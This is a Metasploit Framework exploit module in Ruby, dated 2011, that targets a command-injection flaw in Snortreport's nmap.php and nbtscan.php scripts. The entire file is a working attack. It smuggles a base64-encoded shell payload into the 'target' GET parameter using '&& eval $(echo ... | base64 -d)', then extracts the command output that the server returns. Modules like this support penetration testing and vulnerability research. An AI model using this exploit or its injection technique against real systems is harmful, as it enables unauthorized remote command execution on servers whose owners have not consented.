## # $Id: snortreport_exec.rb 13846 2011-10-09 20:31:51Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Snortreport nmap.php and nbtscan.php Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in nmap.php and nbtscan.php scripts. }, 'License' => MSF_LICENSE, 'Author' => [ 'Paul Rascagneres' #itrust consulting during hack.lu 2011 ], 'Version' => '$Revision: 13846 $', 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Sep 19 2011', 'DefaultTarget' => 0 )) register_options( [ OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]), ],self.class) end def exploit base64_payload = Rex::Text.encode_base64(payload.encoded) start = "127.0.0.1 && echo XXXXX && eval $(echo " last = " | base64 -d) && echo ZZZZZ" custom_payload = start << base64_payload << last res = send_request_cgi({ 'uri' => datastore['URI'], 'vars_get' => { 'target' => custom_payload } },10) if (res) to_print=false already_print=false part=res.body.gsub("
","") part.each_line do |line| if line =~ /ZZZZZ/ to_print=false end if to_print == true print(line) end if line =~ /XXXXX/ already_print=true to_print=true end end if already_print == false print_error("This server may not be vulnerable") end else print_error("No response from the server") end end end